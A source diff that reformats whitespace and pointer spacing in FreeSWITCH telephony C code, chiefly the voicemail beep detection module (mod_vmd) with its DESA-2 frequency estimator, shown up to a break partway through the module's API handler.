lot = (valet_lot_t *) val;
|
||||
|
||||
if (!zstr(cmd) && strcasecmp(cmd, name)) continue;
|
||||
|
||||
|
||||
if (!zstr(cmd) && strcasecmp(cmd, name))
|
||||
continue;
|
||||
|
||||
stream->write_function(stream, " <lot name=\"%s\">\n", name);
|
||||
|
||||
for (i_hi = switch_hash_first(NULL, lot->hash); i_hi; i_hi = switch_hash_next(i_hi)) {
|
||||
|
||||
@@ -128,50 +128,50 @@ SWITCH_STANDARD_APP(vmd_start_function);
|
||||
|
||||
/*! Type that holds state information about the beep. */
|
||||
typedef enum vmd_state {
|
||||
BEEP_DETECTED, BEEP_NOT_DETECTED
|
||||
BEEP_DETECTED, BEEP_NOT_DETECTED
|
||||
} vmd_state_t;
|
||||
|
||||
/*! Type that holds data for 5 points of discreet energy separation */
|
||||
typedef struct vmd_point {
|
||||
double freq;
|
||||
double ampl;
|
||||
double freq;
|
||||
double ampl;
|
||||
} vmd_point_t;
|
||||
|
||||
/*! Type that holds codec information. */
|
||||
typedef struct vmd_codec_info {
|
||||
/*! The sampling rate of the audio stream. */
|
||||
int rate;
|
||||
/*! The number of channels. */
|
||||
int channels;
|
||||
/*! The sampling rate of the audio stream. */
|
||||
int rate;
|
||||
/*! The number of channels. */
|
||||
int channels;
|
||||
} vmd_codec_info_t;
|
||||
|
||||
/*! Type that holds session information pertinent to the vmd module. */
|
||||
typedef struct vmd_session_info {
|
||||
/*! State of the session. */
|
||||
vmd_state_t state;
|
||||
/*! Snapshot of DESA samples. */
|
||||
vmd_point_t points[POINTS];
|
||||
/*! Internal FreeSWITCH session. */
|
||||
switch_core_session_t *session;
|
||||
/*! Codec information for the session. */
|
||||
vmd_codec_info_t vmd_codec;
|
||||
/*! Current position in the snapshot. */
|
||||
unsigned int pos;
|
||||
/*! Frequency aproximation of a detected beep. */
|
||||
double beep_freq;
|
||||
/*! A count of how long a distinct beep was detected
|
||||
* by the discreet energy separation algorithm. */
|
||||
switch_size_t timestamp;
|
||||
/*! State of the session. */
|
||||
vmd_state_t state;
|
||||
/*! Snapshot of DESA samples. */
|
||||
vmd_point_t points[POINTS];
|
||||
/*! Internal FreeSWITCH session. */
|
||||
switch_core_session_t *session;
|
||||
/*! Codec information for the session. */
|
||||
vmd_codec_info_t vmd_codec;
|
||||
/*! Current position in the snapshot. */
|
||||
unsigned int pos;
|
||||
/*! Frequency aproximation of a detected beep. */
|
||||
double beep_freq;
|
||||
/*! A count of how long a distinct beep was detected
|
||||
* by the discreet energy separation algorithm. */
|
||||
switch_size_t timestamp;
|
||||
/*! The MIN_TIME to use for this call */
|
||||
int minTime;
|
||||
} vmd_session_info_t;
|
||||
|
||||
static switch_bool_t process_data(vmd_session_info_t * vmd_info, switch_frame_t * frame);
|
||||
static switch_bool_t vmd_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type);
|
||||
static switch_bool_t process_data(vmd_session_info_t *vmd_info, switch_frame_t *frame);
|
||||
static switch_bool_t vmd_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type);
|
||||
static double freq_estimator(double *x);
|
||||
static double ampl_estimator(double *x);
|
||||
static void convert_pts(int16_t * i_pts, double *d_pts, int16_t max);
|
||||
static void find_beep(vmd_session_info_t * vmd_info, switch_frame_t * frame);
|
||||
static void convert_pts(int16_t *i_pts, double *d_pts, int16_t max);
|
||||
static void find_beep(vmd_session_info_t *vmd_info, switch_frame_t *frame);
|
||||
static double median(double *m, int n);
|
||||
|
||||
/*
|
||||
@@ -187,40 +187,40 @@ static double median(double *m, int n);
|
||||
* @param type The switch callback type.
|
||||
* @return The success or failure of the function.
|
||||
*/
|
||||
static switch_bool_t vmd_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type)
|
||||
static switch_bool_t vmd_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type)
|
||||
{
|
||||
vmd_session_info_t *vmd_info;
|
||||
switch_codec_t *read_codec;
|
||||
switch_frame_t *frame;
|
||||
vmd_session_info_t *vmd_info;
|
||||
switch_codec_t *read_codec;
|
||||
switch_frame_t *frame;
|
||||
|
||||
vmd_info = (vmd_session_info_t *) user_data;
|
||||
if (vmd_info == NULL) {
|
||||
return SWITCH_FALSE;
|
||||
}
|
||||
vmd_info = (vmd_session_info_t *) user_data;
|
||||
if (vmd_info == NULL) {
|
||||
return SWITCH_FALSE;
|
||||
}
|
||||
|
||||
switch (type) {
|
||||
switch (type) {
|
||||
|
||||
case SWITCH_ABC_TYPE_INIT:
|
||||
read_codec = switch_core_session_get_read_codec(vmd_info->session);
|
||||
vmd_info->vmd_codec.rate = read_codec->implementation->samples_per_second;
|
||||
vmd_info->vmd_codec.channels = read_codec->implementation->number_of_channels;
|
||||
break;
|
||||
case SWITCH_ABC_TYPE_INIT:
|
||||
read_codec = switch_core_session_get_read_codec(vmd_info->session);
|
||||
vmd_info->vmd_codec.rate = read_codec->implementation->samples_per_second;
|
||||
vmd_info->vmd_codec.channels = read_codec->implementation->number_of_channels;
|
||||
break;
|
||||
|
||||
case SWITCH_ABC_TYPE_READ_PING:
|
||||
case SWITCH_ABC_TYPE_CLOSE:
|
||||
case SWITCH_ABC_TYPE_READ:
|
||||
case SWITCH_ABC_TYPE_WRITE:
|
||||
break;
|
||||
case SWITCH_ABC_TYPE_READ_PING:
|
||||
case SWITCH_ABC_TYPE_CLOSE:
|
||||
case SWITCH_ABC_TYPE_READ:
|
||||
case SWITCH_ABC_TYPE_WRITE:
|
||||
break;
|
||||
|
||||
case SWITCH_ABC_TYPE_READ_REPLACE:
|
||||
frame = switch_core_media_bug_get_read_replace_frame(bug);
|
||||
return process_data(vmd_info, frame);
|
||||
case SWITCH_ABC_TYPE_READ_REPLACE:
|
||||
frame = switch_core_media_bug_get_read_replace_frame(bug);
|
||||
return process_data(vmd_info, frame);
|
||||
|
||||
case SWITCH_ABC_TYPE_WRITE_REPLACE:
|
||||
break;
|
||||
}
|
||||
case SWITCH_ABC_TYPE_WRITE_REPLACE:
|
||||
break;
|
||||
}
|
||||
|
||||
return SWITCH_TRUE;
|
||||
return SWITCH_TRUE;
|
||||
}
|
||||
|
||||
/*! \brief Process and convert data to be used by the find_beep() function
|
||||
@@ -230,23 +230,23 @@ static switch_bool_t vmd_callback(switch_media_bug_t * bug, void *user_data, swi
|
||||
* @param frame The audio data.
|
||||
* @return The success or failure of the function.
|
||||
*/
|
||||
static switch_bool_t process_data(vmd_session_info_t * vmd_info, switch_frame_t * frame)
|
||||
static switch_bool_t process_data(vmd_session_info_t *vmd_info, switch_frame_t *frame)
|
||||
{
|
||||
uint32_t i;
|
||||
unsigned int j;
|
||||
double pts[P];
|
||||
int16_t *data;
|
||||
int16_t max;
|
||||
switch_ssize_t len;
|
||||
uint32_t i;
|
||||
unsigned int j;
|
||||
double pts[P];
|
||||
int16_t *data;
|
||||
int16_t max;
|
||||
switch_ssize_t len;
|
||||
|
||||
len = frame->samples * sizeof(int16_t);
|
||||
data = (int16_t *) frame->data;
|
||||
len = frame->samples * sizeof(int16_t);
|
||||
data = (int16_t *) frame->data;
|
||||
|
||||
for (max = (int16_t) abs(data[0]), i = 1; i < frame->samples; i++) {
|
||||
if ((int16_t) abs(data[i]) > max) {
|
||||
max = (int16_t) abs(data[i]);
|
||||
}
|
||||
}
|
||||
for (max = (int16_t) abs(data[0]), i = 1; i < frame->samples; i++) {
|
||||
if ((int16_t) abs(data[i]) > max) {
|
||||
max = (int16_t) abs(data[i]);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
if (vmd_info->data_len != len){
|
||||
@@ -269,16 +269,16 @@ static switch_bool_t process_data(vmd_session_info_t * vmd_info, switch_frame_t
|
||||
}
|
||||
*/
|
||||
|
||||
for (i = 0, j = vmd_info->pos; i < frame->samples; j++, j %= POINTS, i += 5) {
|
||||
/* convert_pts(vmd_info->data + i, pts); */
|
||||
convert_pts(data + i, pts, max);
|
||||
vmd_info->points[j].freq = TO_HZ(freq_estimator(pts));
|
||||
vmd_info->points[j].ampl = ampl_estimator(pts);
|
||||
vmd_info->pos = j % POINTS;
|
||||
find_beep(vmd_info, frame);
|
||||
}
|
||||
for (i = 0, j = vmd_info->pos; i < frame->samples; j++, j %= POINTS, i += 5) {
|
||||
/* convert_pts(vmd_info->data + i, pts); */
|
||||
convert_pts(data + i, pts, max);
|
||||
vmd_info->points[j].freq = TO_HZ(freq_estimator(pts));
|
||||
vmd_info->points[j].ampl = ampl_estimator(pts);
|
||||
vmd_info->pos = j % POINTS;
|
||||
find_beep(vmd_info, frame);
|
||||
}
|
||||
|
||||
return SWITCH_TRUE;
|
||||
return SWITCH_TRUE;
|
||||
}
|
||||
|
||||
/*! \brief Find voicemail beep in the audio stream
|
||||
@@ -288,98 +288,96 @@ static switch_bool_t process_data(vmd_session_info_t * vmd_info, switch_frame_t
|
||||
* @param frame The audio data.
|
||||
* @return The success or failure of the function.
|
||||
*/
|
||||
static void find_beep(vmd_session_info_t * vmd_info, switch_frame_t * frame)
|
||||
static void find_beep(vmd_session_info_t *vmd_info, switch_frame_t *frame)
|
||||
{
|
||||
int i;
|
||||
int c;
|
||||
double m[POINTS];
|
||||
double med;
|
||||
unsigned int j = (vmd_info->pos + 1) % POINTS;
|
||||
unsigned int k = j;
|
||||
switch_event_t *event;
|
||||
switch_status_t status;
|
||||
switch_event_t *event_copy;
|
||||
switch_channel_t *channel = switch_core_session_get_channel(vmd_info->session);
|
||||
int i;
|
||||
int c;
|
||||
double m[POINTS];
|
||||
double med;
|
||||
unsigned int j = (vmd_info->pos + 1) % POINTS;
|
||||
unsigned int k = j;
|
||||
switch_event_t *event;
|
||||
switch_status_t status;
|
||||
switch_event_t *event_copy;
|
||||
switch_channel_t *channel = switch_core_session_get_channel(vmd_info->session);
|
||||
|
||||
switch (vmd_info->state) {
|
||||
case BEEP_DETECTED:
|
||||
for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
|
||||
vmd_info->timestamp++;
|
||||
if (vmd_info->points[j].freq < TOLERANCE_T(vmd_info->beep_freq) &&
|
||||
vmd_info->points[j].freq > TOLERANCE_B(vmd_info->beep_freq)) {
|
||||
c++;
|
||||
vmd_info->beep_freq = (vmd_info->beep_freq * 0.95) + (vmd_info->points[j].freq * 0.05);
|
||||
}
|
||||
}
|
||||
switch (vmd_info->state) {
|
||||
case BEEP_DETECTED:
|
||||
for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
|
||||
vmd_info->timestamp++;
|
||||
if (vmd_info->points[j].freq < TOLERANCE_T(vmd_info->beep_freq) && vmd_info->points[j].freq > TOLERANCE_B(vmd_info->beep_freq)) {
|
||||
c++;
|
||||
vmd_info->beep_freq = (vmd_info->beep_freq * 0.95) + (vmd_info->points[j].freq * 0.05);
|
||||
}
|
||||
}
|
||||
|
||||
if (c < (POINTS - MAX_CHIRP)) {
|
||||
vmd_info->state = BEEP_NOT_DETECTED;
|
||||
if (vmd_info->timestamp < (switch_size_t)vmd_info->minTime) {
|
||||
break;
|
||||
}
|
||||
if (c < (POINTS - MAX_CHIRP)) {
|
||||
vmd_info->state = BEEP_NOT_DETECTED;
|
||||
if (vmd_info->timestamp < (switch_size_t) vmd_info->minTime) {
|
||||
break;
|
||||
}
|
||||
|
||||
status = switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, VMD_EVENT_BEEP);
|
||||
if (status != SWITCH_STATUS_SUCCESS) {
|
||||
return;
|
||||
}
|
||||
status = switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, VMD_EVENT_BEEP);
|
||||
if (status != SWITCH_STATUS_SUCCESS) {
|
||||
return;
|
||||
}
|
||||
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Beep-Status", "stop");
|
||||
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Beep-Time", "%d", (int) vmd_info->timestamp / POINTS);
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Unique-ID", switch_core_session_get_uuid(vmd_info->session));
|
||||
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Frequency", "%6.4lf", vmd_info->beep_freq);
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "call-command", "vmd");
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Beep-Status", "stop");
|
||||
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Beep-Time", "%d", (int) vmd_info->timestamp / POINTS);
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Unique-ID", switch_core_session_get_uuid(vmd_info->session));
|
||||
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Frequency", "%6.4lf", vmd_info->beep_freq);
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "call-command", "vmd");
|
||||
|
||||
if ((switch_event_dup(&event_copy, event)) != SWITCH_STATUS_SUCCESS) {
|
||||
return;
|
||||
}
|
||||
if ((switch_event_dup(&event_copy, event)) != SWITCH_STATUS_SUCCESS) {
|
||||
return;
|
||||
}
|
||||
|
||||
switch_core_session_queue_event(vmd_info->session, &event);
|
||||
switch_event_fire(&event_copy);
|
||||
switch_core_session_queue_event(vmd_info->session, &event);
|
||||
switch_event_fire(&event_copy);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(vmd_info->session), SWITCH_LOG_INFO, "<<< VMD - Beep Detected >>>\n");
|
||||
switch_channel_set_variable(channel, "vmd_detect", "TRUE");
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(vmd_info->session), SWITCH_LOG_INFO, "<<< VMD - Beep Detected >>>\n");
|
||||
switch_channel_set_variable(channel, "vmd_detect", "TRUE");
|
||||
|
||||
vmd_info->timestamp = 0;
|
||||
}
|
||||
vmd_info->timestamp = 0;
|
||||
}
|
||||
|
||||
break;
|
||||
break;
|
||||
|
||||
case BEEP_NOT_DETECTED:
|
||||
case BEEP_NOT_DETECTED:
|
||||
|
||||
for (i = 0; i < POINTS; k++, k %= POINTS, i++) {
|
||||
m[i] = vmd_info->points[k].freq;
|
||||
if (ISNAN(m[i])) {
|
||||
m[i] = 0.0;
|
||||
}
|
||||
}
|
||||
for (i = 0; i < POINTS; k++, k %= POINTS, i++) {
|
||||
m[i] = vmd_info->points[k].freq;
|
||||
if (ISNAN(m[i])) {
|
||||
m[i] = 0.0;
|
||||
}
|
||||
}
|
||||
|
||||
med = median(m, POINTS);
|
||||
if (ISNAN(med)) {
|
||||
for (i = 0; i < POINTS; i++) {
|
||||
if (!ISNAN(m[i])) {
|
||||
med = m[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
med = median(m, POINTS);
|
||||
if (ISNAN(med)) {
|
||||
for (i = 0; i < POINTS; i++) {
|
||||
if (!ISNAN(m[i])) {
|
||||
med = m[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
|
||||
if (vmd_info->points[j].freq < TOLERANCE_T(med) && vmd_info->points[j].freq > TOLERANCE_B(med)) {
|
||||
if (vmd_info->points[j].ampl > MIN_AMPL &&
|
||||
vmd_info->points[j].freq > MIN_FREQ && vmd_info->points[j].freq < MAX_FREQ) {
|
||||
c++;
|
||||
}
|
||||
}
|
||||
}
|
||||
for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
|
||||
if (vmd_info->points[j].freq < TOLERANCE_T(med) && vmd_info->points[j].freq > TOLERANCE_B(med)) {
|
||||
if (vmd_info->points[j].ampl > MIN_AMPL && vmd_info->points[j].freq > MIN_FREQ && vmd_info->points[j].freq < MAX_FREQ) {
|
||||
c++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (c >= VALID) {
|
||||
vmd_info->state = BEEP_DETECTED;
|
||||
vmd_info->beep_freq = med;
|
||||
vmd_info->timestamp = 0;
|
||||
}
|
||||
if (c >= VALID) {
|
||||
vmd_info->state = BEEP_DETECTED;
|
||||
vmd_info->beep_freq = med;
|
||||
vmd_info->timestamp = 0;
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/*! \brief Find the median of an array of doubles
|
||||
@@ -390,65 +388,65 @@ static void find_beep(vmd_session_info_t * vmd_info, switch_frame_t * frame)
|
||||
*/
|
||||
static double median(double *m, int n)
|
||||
{
|
||||
int i;
|
||||
int less;
|
||||
int greater;
|
||||
int equal;
|
||||
double min;
|
||||
double max;
|
||||
double guess;
|
||||
double maxltguess;
|
||||
double mingtguess;
|
||||
int i;
|
||||
int less;
|
||||
int greater;
|
||||
int equal;
|
||||
double min;
|
||||
double max;
|
||||
double guess;
|
||||
double maxltguess;
|
||||
double mingtguess;
|
||||
|
||||
min = max = m[0];
|
||||
min = max = m[0];
|
||||
|
||||
for (i = 1; i < n; i++) {
|
||||
if (m[i] < min)
|
||||
min = m[i];
|
||||
if (m[i] > max)
|
||||
max = m[i];
|
||||
}
|
||||
for (i = 1; i < n; i++) {
|
||||
if (m[i] < min)
|
||||
min = m[i];
|
||||
if (m[i] > max)
|
||||
max = m[i];
|
||||
}
|
||||
|
||||
for (;;) {
|
||||
guess = (min + max) / 2;
|
||||
less = 0;
|
||||
greater = 0;
|
||||
equal = 0;
|
||||
maxltguess = min;
|
||||
mingtguess = max;
|
||||
for (;;) {
|
||||
guess = (min + max) / 2;
|
||||
less = 0;
|
||||
greater = 0;
|
||||
equal = 0;
|
||||
maxltguess = min;
|
||||
mingtguess = max;
|
||||
|
||||
for (i = 0; i < n; i++) {
|
||||
if (m[i] < guess) {
|
||||
less++;
|
||||
if (m[i] > maxltguess) {
|
||||
maxltguess = m[i];
|
||||
}
|
||||
} else if (m[i] > guess) {
|
||||
greater++;
|
||||
if (m[i] < mingtguess) {
|
||||
mingtguess = m[i];
|
||||
}
|
||||
} else {
|
||||
equal++;
|
||||
}
|
||||
}
|
||||
for (i = 0; i < n; i++) {
|
||||
if (m[i] < guess) {
|
||||
less++;
|
||||
if (m[i] > maxltguess) {
|
||||
maxltguess = m[i];
|
||||
}
|
||||
} else if (m[i] > guess) {
|
||||
greater++;
|
||||
if (m[i] < mingtguess) {
|
||||
mingtguess = m[i];
|
||||
}
|
||||
} else {
|
||||
equal++;
|
||||
}
|
||||
}
|
||||
|
||||
if (less <= (n + 1) / 2 && greater <= (n + 1) / 2) {
|
||||
break;
|
||||
} else if (less > greater) {
|
||||
max = maxltguess;
|
||||
} else {
|
||||
min = mingtguess;
|
||||
}
|
||||
}
|
||||
if (less <= (n + 1) / 2 && greater <= (n + 1) / 2) {
|
||||
break;
|
||||
} else if (less > greater) {
|
||||
max = maxltguess;
|
||||
} else {
|
||||
min = mingtguess;
|
||||
}
|
||||
}
|
||||
|
||||
if (less >= (n + 1) / 2) {
|
||||
return maxltguess;
|
||||
} else if (less + equal >= (n + 1) / 2) {
|
||||
return guess;
|
||||
}
|
||||
if (less >= (n + 1) / 2) {
|
||||
return maxltguess;
|
||||
} else if (less + equal >= (n + 1) / 2) {
|
||||
return guess;
|
||||
}
|
||||
|
||||
return mingtguess;
|
||||
return mingtguess;
|
||||
}
|
||||
|
||||
/*! \brief Convert many points for Signed L16 to relative floating point
|
||||
@@ -459,13 +457,13 @@ static double median(double *m, int n)
|
||||
* @param max The maximum value in the entire audio frame.
|
||||
* @return Nothing.
|
||||
*/
|
||||
static void convert_pts(int16_t * i_pts, double *d_pts, int16_t max)
|
||||
static void convert_pts(int16_t *i_pts, double *d_pts, int16_t max)
|
||||
{
|
||||
int i;
|
||||
for (i = 0; i < P; i++) {
|
||||
/*! Signed L16 to relative floating point conversion */
|
||||
d_pts[i] = ((((double) (i_pts[i]) + (double) max) / (double) (2 * max)) - 0.5) * 2.0;
|
||||
}
|
||||
int i;
|
||||
for (i = 0; i < P; i++) {
|
||||
/*! Signed L16 to relative floating point conversion */
|
||||
d_pts[i] = ((((double) (i_pts[i]) + (double) max) / (double) (2 * max)) - 0.5) * 2.0;
|
||||
}
|
||||
}
|
||||
|
||||
/*! \brief Amplitude estimator for DESA-2
|
||||
@@ -478,12 +476,12 @@ static void convert_pts(int16_t * i_pts, double *d_pts, int16_t max)
|
||||
*/
|
||||
double ampl_estimator(double *x)
|
||||
{
|
||||
double freq_sq;
|
||||
double freq_sq;
|
||||
|
||||
freq_sq = freq_estimator(x);
|
||||
freq_sq *= freq_sq;
|
||||
freq_sq = freq_estimator(x);
|
||||
freq_sq *= freq_sq;
|
||||
|
||||
return sqrt(PSI(x) / sin(freq_sq));
|
||||
return sqrt(PSI(x) / sin(freq_sq));
|
||||
}
|
||||
|
||||
/*! \brief The DESA-2 algorithm
|
||||
@@ -500,12 +498,12 @@ double ampl_estimator(double *x)
|
||||
*/
|
||||
double freq_estimator(double *x)
|
||||
{
|
||||
return 0.5 * acos((((x[2] * x[2]) - (x[0] * x[4]))
|
||||
- ((x[1] * x[1]) - (x[0] * x[2]))
|
||||
- ((x[3] * x[3]) - (x[2] * x[4])))
|
||||
/ (2.0 * ((x[2] * x[2]) - (x[1] * x[3])))
|
||||
return 0.5 * acos((((x[2] * x[2]) - (x[0] * x[4]))
|
||||
- ((x[1] * x[1]) - (x[0] * x[2]))
|
||||
- ((x[3] * x[3]) - (x[2] * x[4])))
|
||||
/ (2.0 * ((x[2] * x[2]) - (x[1] * x[3])))
|
||||
|
||||
);
|
||||
);
|
||||
}
|
||||
|
||||
/*! \brief FreeSWITCH module loading function
|
||||
@@ -515,19 +513,19 @@ double freq_estimator(double *x)
|
||||
*/
|
||||
SWITCH_MODULE_LOAD_FUNCTION(mod_vmd_load)
|
||||
{
|
||||
switch_application_interface_t *app_interface;
|
||||
switch_api_interface_t *api_interface;
|
||||
/* connect my internal structure to the blank pointer passed to me */
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
switch_application_interface_t *app_interface;
|
||||
switch_api_interface_t *api_interface;
|
||||
/* connect my internal structure to the blank pointer passed to me */
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection enabled\n");
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection enabled\n");
|
||||
|
||||
SWITCH_ADD_APP(app_interface, "vmd", "Detect beeps", "Detect voicemail beeps", vmd_start_function, "[start] [stop]", SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "vmd", "Detect beeps", "Detect voicemail beeps", vmd_start_function, "[start] [stop]", SAF_NONE);
|
||||
|
||||
SWITCH_ADD_API(api_interface, "vmd", "Detected voicemail beeps", vmd_api_main, VMD_SYNTAX);
|
||||
SWITCH_ADD_API(api_interface, "vmd", "Detected voicemail beeps", vmd_api_main, VMD_SYNTAX);
|
||||
|
||||
/* indicate that the module should continue to be loaded */
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
/* indicate that the module should continue to be loaded */
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
/*! \brief FreeSWITCH application handler function.
|
||||
@@ -538,59 +536,59 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_vmd_load)
|
||||
*/
|
||||
SWITCH_STANDARD_APP(vmd_start_function)
|
||||
{
|
||||
switch_media_bug_t *bug;
|
||||
switch_status_t status;
|
||||
switch_channel_t *channel;
|
||||
vmd_session_info_t *vmd_info;
|
||||
int i;
|
||||
switch_media_bug_t *bug;
|
||||
switch_status_t status;
|
||||
switch_channel_t *channel;
|
||||
vmd_session_info_t *vmd_info;
|
||||
int i;
|
||||
const char *minTimeString;
|
||||
int mintime = 0;
|
||||
|
||||
if (session == NULL)
|
||||
return;
|
||||
if (session == NULL)
|
||||
return;
|
||||
|
||||
channel = switch_core_session_get_channel(session);
|
||||
channel = switch_core_session_get_channel(session);
|
||||
|
||||
/* Is this channel already set? */
|
||||
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
|
||||
/* If yes */
|
||||
if (bug != NULL) {
|
||||
/* If we have a stop remove audio bug */
|
||||
if (strcasecmp(data, "stop") == 0) {
|
||||
switch_channel_set_private(channel, "_vmd_", NULL);
|
||||
switch_core_media_bug_remove(session, &bug);
|
||||
return;
|
||||
}
|
||||
/* Is this channel already set? */
|
||||
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
|
||||
/* If yes */
|
||||
if (bug != NULL) {
|
||||
/* If we have a stop remove audio bug */
|
||||
if (strcasecmp(data, "stop") == 0) {
|
||||
switch_channel_set_private(channel, "_vmd_", NULL);
|
||||
switch_core_media_bug_remove(session, &bug);
|
||||
return;
|
||||
}
|
||||
|
||||
/* We have already started */
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
|
||||
/* We have already started */
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
|
||||
|
||||
return;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
vmd_info = (vmd_session_info_t *) switch_core_session_alloc(session, sizeof(vmd_session_info_t)
|
||||
);
|
||||
vmd_info = (vmd_session_info_t *) switch_core_session_alloc(session, sizeof(vmd_session_info_t)
|
||||
);
|
||||
|
||||
vmd_info->state = BEEP_NOT_DETECTED;
|
||||
vmd_info->session = session;
|
||||
vmd_info->pos = 0;
|
||||
/*
|
||||
vmd_info->data = NULL;
|
||||
vmd_info->data_len = 0;
|
||||
*/
|
||||
for (i = 0; i < POINTS; i++) {
|
||||
vmd_info->points[i].freq = 0.0;
|
||||
vmd_info->points[i].ampl = 0.0;
|
||||
}
|
||||
vmd_info->state = BEEP_NOT_DETECTED;
|
||||
vmd_info->session = session;
|
||||
vmd_info->pos = 0;
|
||||
/*
|
||||
vmd_info->data = NULL;
|
||||
vmd_info->data_len = 0;
|
||||
*/
|
||||
for (i = 0; i < POINTS; i++) {
|
||||
vmd_info->points[i].freq = 0.0;
|
||||
vmd_info->points[i].ampl = 0.0;
|
||||
}
|
||||
|
||||
status = switch_core_media_bug_add(session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
|
||||
status = switch_core_media_bug_add(session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
|
||||
|
||||
if (status != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
|
||||
return;
|
||||
}
|
||||
if (status != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
|
||||
return;
|
||||
}
|
||||
|
||||
switch_channel_set_private(channel, "_vmd_", bug);
|
||||
switch_channel_set_private(channel, "_vmd_", bug);
|
||||
|
||||
if ((minTimeString = switch_channel_get_variable(channel, "vmd_min_time")) && (mintime = atoi(minTimeString))) {
|
||||
vmd_info->minTime = mintime;
|
||||
@@ -598,7 +596,7 @@ SWITCH_STANDARD_APP(vmd_start_function)
|
||||
vmd_info->minTime = MIN_TIME;
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "MIN_TIME for call: %d\n",vmd_info->minTime);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "MIN_TIME for call: %d\n", vmd_info->minTime);
|
||||
}
|
||||
|
||||
/*! \brief Called when the module shuts down
|
||||
@@ -608,9 +606,9 @@ SWITCH_STANDARD_APP(vmd_start_function)
|
||||
*/
|
||||
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_vmd_shutdown)
|
||||
{
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection disabled\n");
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection disabled\n");
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
/*! \brief FreeSWITCH API handler function.
|
||||
@@ -622,121 +620,121 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_vmd_shutdown)
|
||||
*/
|
||||
SWITCH_STANDARD_API(vmd_api_main)
|
||||
{
|
||||
switch_core_session_t *vmd_session = NULL;
|
||||
switch_media_bug_t *bug;
|
||||
vmd_session_info_t *vmd_info;
|
||||
switch_channel_t *channel;
|
||||
switch_status_t status;
|
||||
int argc;
|
||||
char *argv[VMD_PARAMS];
|
||||
char *ccmd = NULL;
|
||||
char *uuid;
|
||||
char *command;
|
||||
int i;
|
||||
switch_core_session_t *vmd_session = NULL;
|
||||
switch_media_bug_t *bug;
|
||||
vmd_session_info_t *vmd_info;
|
||||
switch_channel_t *channel;
|
||||
switch_status_t status;
|
||||
int argc;
|
||||
char *argv[VMD_PARAMS];
|
||||
char *ccmd = NULL;
|
||||
char *uuid;
|
||||
char *command;
|
||||
int i;
|
||||
|
||||
/* No command? Display usage */
|
||||
if (zstr(cmd)) {
|
||||
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
/* No command? Display usage */
|
||||
if (zstr(cmd)) {
|
||||
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
/* Duplicated contents of original string */
|
||||
ccmd = strdup(cmd);
|
||||
/* Separate the arguments */
